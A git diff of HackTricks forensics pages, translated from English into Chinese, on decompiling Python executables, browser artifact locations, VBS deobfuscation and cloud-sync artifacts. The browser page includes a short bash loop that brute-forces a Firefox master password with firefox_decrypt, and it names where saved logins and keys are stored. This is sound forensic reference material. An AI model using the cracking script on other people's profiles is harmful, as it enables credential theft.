+### 错误:反编译通用错误
-### Error: Decompiling generic errors
+**其他错误**如:`class 'AssertionError'>; co_code 应该是以下类型之一 (, , , ); 是类型 ` 可能会出现。
-**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear.
+这可能意味着您**没有正确添加**魔数,或者您没有**使用**正确的魔数,因此请**确保使用正确的魔数**(或尝试一个新的)。
-This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one).
+请检查之前的错误文档。
-Check the previous error documentation.
+## 自动工具
-## Automatic Tool
+[**python-exe-unpacker 工具**](https://github.com/countercept/python-exe-unpacker) 是多个社区可用工具的组合,旨在帮助研究人员解包和反编译用 Python 编写的可执行文件,特别是那些使用 py2exe 和 pyinstaller 创建的文件。它包括 YARA 规则,以识别可执行文件是否基于 Python,并确认创建工具。
-The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool.
+### ImportError: 文件名:'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' 不存在
-### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist
-
-A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process.
-
-Example of the issue:
+一个常见问题是由于 **使用 unpy2exe 或 pyinstxtractor 解包过程**导致的不完整 Python 字节码文件,这会导致 uncompyle6 无法识别,因为缺少 Python 字节码版本号。为了解决这个问题,添加了一个前缀选项,该选项附加必要的 Python 字节码版本号,从而促进反编译过程。
+问题示例:
```python
# Error when attempting to decompile without the prepend option
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
@@ -115,11 +96,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file
[+] Successfully decompiled.
```
+## 分析 Python 汇编
-## Analyzing python assembly
-
-If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2:
-
+如果您无法按照之前的步骤提取 Python 的“原始”代码,那么您可以尝试 **提取** **汇编**(但 **它不是很描述性**,所以 **尝试** 再次提取 **原始代码**)。在 [这里](https://bits.theorem.co/protecting-a-python-codebase/) 我找到了一段非常简单的代码来 **反汇编** _.pyc_ 二进制文件(祝您理解代码流程好运)。如果 _.pyc_ 是来自 Python2,请使用 Python2:
```bash
>>> import dis
>>> import marshal
@@ -145,34 +124,32 @@ True
>>>
>>> # Disassemble the code object
>>> dis.disassemble(code)
- 1 0 LOAD_CONST 0 ()
- 3 MAKE_FUNCTION 0
- 6 STORE_NAME 0 (hello_world)
- 9 LOAD_CONST 1 (None)
- 12 RETURN_VALUE
+1 0 LOAD_CONST 0 ()
+3 MAKE_FUNCTION 0
+6 STORE_NAME 0 (hello_world)
+9 LOAD_CONST 1 (None)
+12 RETURN_VALUE
>>>
>>> # Also disassemble that const being loaded (our function)
>>> dis.disassemble(code.co_consts[0])
- 2 0 LOAD_CONST 1 ('Hello {0}')
- 3 LOAD_ATTR 0 (format)
- 6 LOAD_FAST 0 (name)
- 9 CALL_FUNCTION 1
- 12 PRINT_ITEM
- 13 PRINT_NEWLINE
- 14 LOAD_CONST 0 (None)
- 17 RETURN_VALUE
+2 0 LOAD_CONST 1 ('Hello {0}')
+3 LOAD_ATTR 0 (format)
+6 LOAD_FAST 0 (name)
+9 CALL_FUNCTION 1
+12 PRINT_ITEM
+13 PRINT_NEWLINE
+14 LOAD_CONST 0 (None)
+17 RETURN_VALUE
```
+## Python 转为可执行文件
-## Python to Executable
+首先,我们将向您展示如何在 py2exe 和 PyInstaller 中编译有效载荷。
-To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller.
-
-### To create a payload using py2exe:
-
-1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org)
-2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe.
-3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2.
+### 使用 py2exe 创建有效载荷:
+1. 从 [http://www.py2exe.org/](http://www.py2exe.org) 安装 py2exe 包。
+2. 对于有效载荷(在本例中,我们将其命名为 hello.py),使用如图 1 所示的脚本。选项“bundle_files”的值为 1,将把所有内容,包括 Python 解释器,打包成一个 exe 文件。
+3. 一旦脚本准备好,我们将发出命令“python setup.py py2exe”。这将创建可执行文件,就像图 2 中所示。
```python
from distutils.core import setup
import py2exe, sys, os
@@ -180,10 +157,10 @@ import py2exe, sys, os
sys.argv.append('py2exe')
setup(
- options = {'py2exe': {'bundle_files': 1}},
- #windows = [{'script': "hello.py"}],
- console = [{'script': "hello.py"}],
- zipfile = None,
+options = {'py2exe': {'bundle_files': 1}},
+#windows = [{'script': "hello.py"}],
+console = [{'script': "hello.py"}],
+zipfile = None,
)
```
@@ -200,12 +177,10 @@ running py2exe
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
```
+### 使用 PyInstaller 创建有效载荷:
-### To create a payload using PyInstaller:
-
-1. Install PyInstaller using pip (pip install pyinstaller).
-2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable.
-
+1. 使用 pip 安装 PyInstaller(pip install pyinstaller)。
+2. 之后,我们将发出命令“pyinstaller –onefile hello.py”(提醒一下,‘hello.py’ 是我们的有效载荷)。这将把所有内容打包成一个可执行文件。
```
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
108 INFO: PyInstaller: 3.3.1
@@ -218,15 +193,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe
6325 INFO: Building EXE from out00-EXE.toc completed successfully.
```
-
-## References
+## 参考
- [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
-
-
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
-
-{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md
index 76fa3ef23..fdbb06e86 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md
@@ -1,6 +1,4 @@
-{{#include ../../../banners/hacktricks-training.md}}
-
-Here you can find interesting tricks for specific file-types and/or software:
+这里可以找到特定文件类型和/或软件的有趣技巧:
{{#ref}}
.pyc.md
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
index ba35ea1fd..baec042a9 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md
@@ -1,139 +1,129 @@
-# Browser Artifacts
+# 浏览器伪迹
{{#include ../../../banners/hacktricks-training.md}}
-
+## 浏览器伪迹
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+浏览器伪迹包括由网络浏览器存储的各种类型的数据,例如导航历史、书签和缓存数据。这些伪迹保存在操作系统中的特定文件夹内,不同浏览器的位置和名称各异,但通常存储相似类型的数据。
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+以下是最常见的浏览器伪迹的总结:
-## Browsers Artifacts
-
-Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types.
-
-Here's a summary of the most common browser artifacts:
-
-- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites.
-- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history.
-- **Bookmarks**: Sites saved by the user for quick access.
-- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user.
-- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis.
-- **Logins**: Stored login credentials.
-- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits.
-- **Browser Sessions**: Data related to open browser sessions.
-- **Downloads**: Records of files downloaded through the browser.
-- **Form Data**: Information entered in web forms, saved for future autofill suggestions.
-- **Thumbnails**: Preview images of websites.
-- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary.
+- **导航历史**:跟踪用户访问的网站,识别访问恶意网站的情况。
+- **自动完成数据**:基于频繁搜索的建议,与导航历史结合时提供洞察。
+- **书签**:用户保存以便快速访问的网站。
+- **扩展和附加组件**:用户安装的浏览器扩展或附加组件。
+- **缓存**:存储网页内容(例如,图像、JavaScript 文件),以提高网站加载速度,对取证分析有价值。
+- **登录信息**:存储的登录凭据。
+- **网站图标**:与网站相关的图标,出现在标签和书签中,有助于提供用户访问的额外信息。
+- **浏览器会话**:与打开的浏览器会话相关的数据。
+- **下载**:通过浏览器下载的文件记录。
+- **表单数据**:在网页表单中输入的信息,保存以供将来的自动填充建议。
+- **缩略图**:网站的预览图像。
+- **自定义字典.txt**:用户添加到浏览器字典中的单词。
## Firefox
-Firefox organizes user data within profiles, stored in specific locations based on the operating system:
+Firefox 在用户数据中组织配置文件,存储在基于操作系统的特定位置:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
-A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted.
+这些目录中的 `profiles.ini` 文件列出了用户配置文件。每个配置文件的数据存储在 `profiles.ini` 中 `Path` 变量命名的文件夹内,位于与 `profiles.ini` 本身相同的目录中。如果配置文件的文件夹缺失,可能已被删除。
-Within each profile folder, you can find several important files:
+在每个配置文件文件夹内,您可以找到几个重要文件:
-- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data.
- - Use specific SQL queries to extract history and downloads information.
-- **bookmarkbackups**: Contains backups of bookmarks.
-- **formhistory.sqlite**: Stores web form data.
-- **handlers.json**: Manages protocol handlers.
-- **persdict.dat**: Custom dictionary words.
-- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions.
-- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows.
-- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
-- **favicons.sqlite**: Stores favicons.
-- **prefs.js**: User settings and preferences.
-- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite.
-- **thumbnails**: Website thumbnails.
-- **logins.json**: Encrypted login information.
-- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information.
+- **places.sqlite**: 存储历史、书签和下载。像 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) 这样的工具可以在 Windows 上访问历史数据。
+- 使用特定的 SQL 查询提取历史和下载信息。
+- **bookmarkbackups**: 包含书签的备份。
+- **formhistory.sqlite**: 存储网页表单数据。
+- **handlers.json**: 管理协议处理程序。
+- **persdict.dat**: 自定义字典单词。
+- **addons.json** 和 **extensions.sqlite**: 有关已安装的附加组件和扩展的信息。
+- **cookies.sqlite**: Cookie 存储,Windows 上可以使用 [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) 进行检查。
+- **cache2/entries** 或 **startupCache**: 缓存数据,可以通过像 [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html) 这样的工具访问。
+- **favicons.sqlite**: 存储网站图标。
+- **prefs.js**: 用户设置和偏好。
+- **downloads.sqlite**: 较旧的下载数据库,现在已集成到 places.sqlite 中。
+- **thumbnails**: 网站缩略图。
+- **logins.json**: 加密的登录信息。
+- **key4.db** 或 **key3.db**: 存储用于保护敏感信息的加密密钥。
-Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled.
-
-To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
-With the following script and call you can specify a password file to brute force:
+此外,可以通过在 `prefs.js` 中搜索 `browser.safebrowsing` 条目来检查浏览器的反钓鱼设置,以指示安全浏览功能是否启用或禁用。
+要尝试解密主密码,可以使用 [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
+使用以下脚本和调用,您可以指定一个密码文件进行暴力破解:
```bash:brute.sh
#!/bin/bash
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
passfile=$1
while read pass; do
- echo "Trying $pass"
- echo "$pass" | python firefox_decrypt.py
+echo "Trying $pass"
+echo "$pass" | python firefox_decrypt.py
done < $passfile
```
-
.png>)
## Google Chrome
-Google Chrome stores user profiles in specific locations based on the operating system:
+Google Chrome 根据操作系统将用户配置文件存储在特定位置:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
-Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data:
+在这些目录中,大多数用户数据可以在 **Default/** 或 **ChromeDefaultData/** 文件夹中找到。以下文件包含重要数据:
-- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads.
-- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available.
-- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
-- **Bookmarks**: User bookmarks.
-- **Web Data**: Contains form history.
-- **Favicons**: Stores website favicons.
-- **Login Data**: Includes login credentials like usernames and passwords.
-- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs.
-- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed.
-- **Extensions**: Directories for browser extensions and addons.
-- **Thumbnails**: Stores website thumbnails.
-- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more.
-- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output.
+- **History**: 包含 URL、下载和搜索关键字。在 Windows 上,可以使用 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) 来读取历史记录。“Transition Type” 列有多种含义,包括用户点击链接、输入的 URL、表单提交和页面重新加载。
+- **Cookies**: 存储 cookies。可以使用 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) 进行检查。
+- **Cache**: 存储缓存数据。要检查,Windows 用户可以使用 [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html)。
+- **Bookmarks**: 用户书签。
+- **Web Data**: 包含表单历史。
+- **Favicons**: 存储网站图标。
+- **Login Data**: 包含登录凭据,如用户名和密码。
+- **Current Session**/**Current Tabs**: 当前浏览会话和打开标签的数据。
+- **Last Session**/**Last Tabs**: Chrome 关闭前最后会话中活动网站的信息。
+- **Extensions**: 浏览器扩展和附加组件的目录。
+- **Thumbnails**: 存储网站缩略图。
+- **Preferences**: 一个信息丰富的文件,包括插件、扩展、弹出窗口、通知等的设置。
+- **Browser’s built-in anti-phishing**: 要检查反钓鱼和恶意软件保护是否启用,请运行 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`。在输出中查找 `{"enabled: true,"}`。
## **SQLite DB Data Recovery**
-As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
+如前所述,Chrome 和 Firefox 使用 **SQLite** 数据库存储数据。可以使用工具 [**sqlparse**](https://github.com/padfoot999/sqlparse) **或** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases) **恢复已删除的条目**。
## **Internet Explorer 11**
-Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management.
+Internet Explorer 11 在多个位置管理其数据和元数据,帮助分离存储的信息及其对应的详细信息,以便于访问和管理。
### Metadata Storage
-Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype.
+Internet Explorer 的元数据存储在 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data`(VX 为 V01、V16 或 V24)。此外,`V01.log` 文件可能显示与 `WebcacheVX.data` 的修改时间差异,表明需要使用 `esentutl /r V01 /d` 进行修复。此元数据存储在 ESE 数据库中,可以使用 photorec 和 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 等工具进行恢复和检查。在 **Containers** 表中,可以辨别每个数据段存储的特定表或容器,包括其他 Microsoft 工具(如 Skype)的缓存详细信息。
### Cache Inspection
-The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times.
+[IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) 工具允许检查缓存,需要缓存数据提取文件夹位置。缓存的元数据包括文件名、目录、访问计数、URL 来源和指示缓存创建、访问、修改和过期时间的时间戳。
### Cookies Management
-Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory.
+可以使用 [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) 探索 cookies,元数据包括名称、URL、访问计数和各种时间相关的详细信息。持久性 cookies 存储在 `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` 中,会话 cookies 存储在内存中。
### Download Details
-Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
+下载元数据可以通过 [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) 访问,特定容器中保存 URL、文件类型和下载位置等数据。物理文件可以在 `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` 下找到。
### Browsing History
-To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
+要查看浏览历史,可以使用 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html),需要提取的历史文件位置和 Internet Explorer 的配置。这里的元数据包括修改和访问时间,以及访问计数。历史文件位于 `%userprofile%\Appdata\Local\Microsoft\Windows\History`。
### Typed URLs
-Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times.
+输入的 URL 及其使用时间存储在注册表中的 `NTUSER.DAT` 下的 `Software\Microsoft\InternetExplorer\TypedURLs` 和 `Software\Microsoft\InternetExplorer\TypedURLsTime`,跟踪用户输入的最后 50 个 URL 及其最后输入时间。
## Microsoft Edge
-Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are:
+Microsoft Edge 将用户数据存储在 `%userprofile%\Appdata\Local\Packages` 中。各种数据类型的路径如下:
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@@ -143,24 +133,24 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p
## Safari
-Safari data is stored at `/Users/$User/Library/Safari`. Key files include:
+Safari 数据存储在 `/Users/$User/Library/Safari`。关键文件包括:
-- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query.
-- **Downloads.plist**: Information about downloaded files.
-- **Bookmarks.plist**: Stores bookmarked URLs.
-- **TopSites.plist**: Most frequently visited sites.
-- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve.
-- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse.
-- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse.
-- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active.
+- **History.db**: 包含 `history_visits` 和 `history_items` 表,存储 URL 和访问时间戳。使用 `sqlite3` 查询。
+- **Downloads.plist**: 有关下载文件的信息。
+- **Bookmarks.plist**: 存储书签的 URL。
+- **TopSites.plist**: 最常访问的网站。
+- **Extensions.plist**: Safari 浏览器扩展的列表。使用 `plutil` 或 `pluginkit` 检索。
+- **UserNotificationPermissions.plist**: 允许推送通知的域。使用 `plutil` 进行解析。
+- **LastSession.plist**: 上一会话的标签。使用 `plutil` 进行解析。
+- **Browser’s built-in anti-phishing**: 使用 `defaults read com.apple.Safari WarnAboutFraudulentWebsites` 检查。响应为 1 表示该功能已启用。
## Opera
-Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads.
+Opera 的数据位于 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`,并与 Chrome 的历史和下载格式相同。
-- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`.
+- **Browser’s built-in anti-phishing**: 通过检查 Preferences 文件中的 `fraud_protection_enabled` 是否设置为 `true` 来验证,使用 `grep`。
-These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers.
+这些路径和命令对于访问和理解不同网络浏览器存储的浏览数据至关重要。
## References
@@ -169,12 +159,4 @@ These paths and commands are crucial for accessing and understanding the browsin
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
-
-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md
index c22a6f566..0398ce4af 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md
@@ -1,50 +1,42 @@
{{#include ../../../banners/hacktricks-training.md}}
-Some things that could be useful to debug/deobfuscate a malicious VBS file:
+一些可以用于调试/去混淆恶意 VBS 文件的有用工具:
## echo
-
```bash
Wscript.Echo "Like this?"
```
-
-## Commnets
-
+## 评论
```bash
' this is a comment
```
-
-## Test
-
+## 测试
```bash
cscript.exe file.vbs
```
-
-## Write data to a file
-
+## 将数据写入文件
```js
Function writeBinary(strBinary, strPath)
- Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
+Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
- ' below lines purpose: checks that write access is possible!
- Dim oTxtStream
+' below lines purpose: checks that write access is possible!
+Dim oTxtStream
- On Error Resume Next
- Set oTxtStream = oFSO.createTextFile(strPath)
+On Error Resume Next
+Set oTxtStream = oFSO.createTextFile(strPath)
- If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
- On Error GoTo 0
+If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
+On Error GoTo 0
- Set oTxtStream = Nothing
- ' end check of write access
+Set oTxtStream = Nothing
+' end check of write access
- With oFSO.createTextFile(strPath)
- .Write(strBinary)
- .Close
- End With
+With oFSO.createTextFile(strPath)
+.Write(strBinary)
+.Close
+End With
End Function
```
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
index 99792162b..6c235eb52 100644
--- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
+++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md
@@ -1,114 +1,96 @@
-# Local Cloud Storage
+# 本地云存储
{{#include ../../../banners/hacktricks-training.md}}
-
-
-\
-Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
-
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-
## OneDrive
-In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files:
+在Windows中,您可以在 `\Users\\AppData\Local\Microsoft\OneDrive` 找到OneDrive文件夹。在 `logs\Personal` 中,可以找到文件 `SyncDiagnostics.log`,其中包含有关同步文件的一些有趣数据:
-- Size in bytes
-- Creation date
-- Modification date
-- Number of files in the cloud
-- Number of files in the folder
-- **CID**: Unique ID of the OneDrive user
-- Report generation time
-- Size of the HD of the OS
+- 字节大小
+- 创建日期
+- 修改日期
+- 云中的文件数量
+- 文件夹中的文件数量
+- **CID**: OneDrive用户的唯一ID
+- 报告生成时间
+- 操作系统的HD大小
-Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive.
+一旦找到CID,建议**搜索包含此ID的文件**。您可能会找到名为: _**\.ini**_ 和 _**\.dat**_ 的文件,这些文件可能包含与OneDrive同步的文件名称等有趣信息。
## Google Drive
-In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\
-This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5.
+在Windows中,您可以在 `\Users\\AppData\Local\Google\Drive\user_default` 找到主要的Google Drive文件夹\
+此文件夹包含一个名为Sync_log.log的文件,其中包含帐户的电子邮件地址、文件名、时间戳、文件的MD5哈希等信息。即使是已删除的文件也会出现在该日志文件中,并带有相应的MD5。
-The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files.
+文件 **`Cloud_graph\Cloud_graph.db`** 是一个sqlite数据库,包含表 **`cloud_graph_entry`**。在此表中,您可以找到**同步** **文件**的**名称**、修改时间、大小和文件的MD5校验和。
-The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version.
+数据库 **`Sync_config.db`** 的表数据包含帐户的电子邮件地址、共享文件夹的路径和Google Drive版本。
## Dropbox
-Dropbox uses **SQLite databases** to manage the files. In this\
-You can find the databases in the folders:
+Dropbox使用**SQLite数据库**来管理文件。在此\
+您可以在以下文件夹中找到数据库:
- `\Users\\AppData\Local\Dropbox`
- `\Users\\AppData\Local\Dropbox\Instance1`
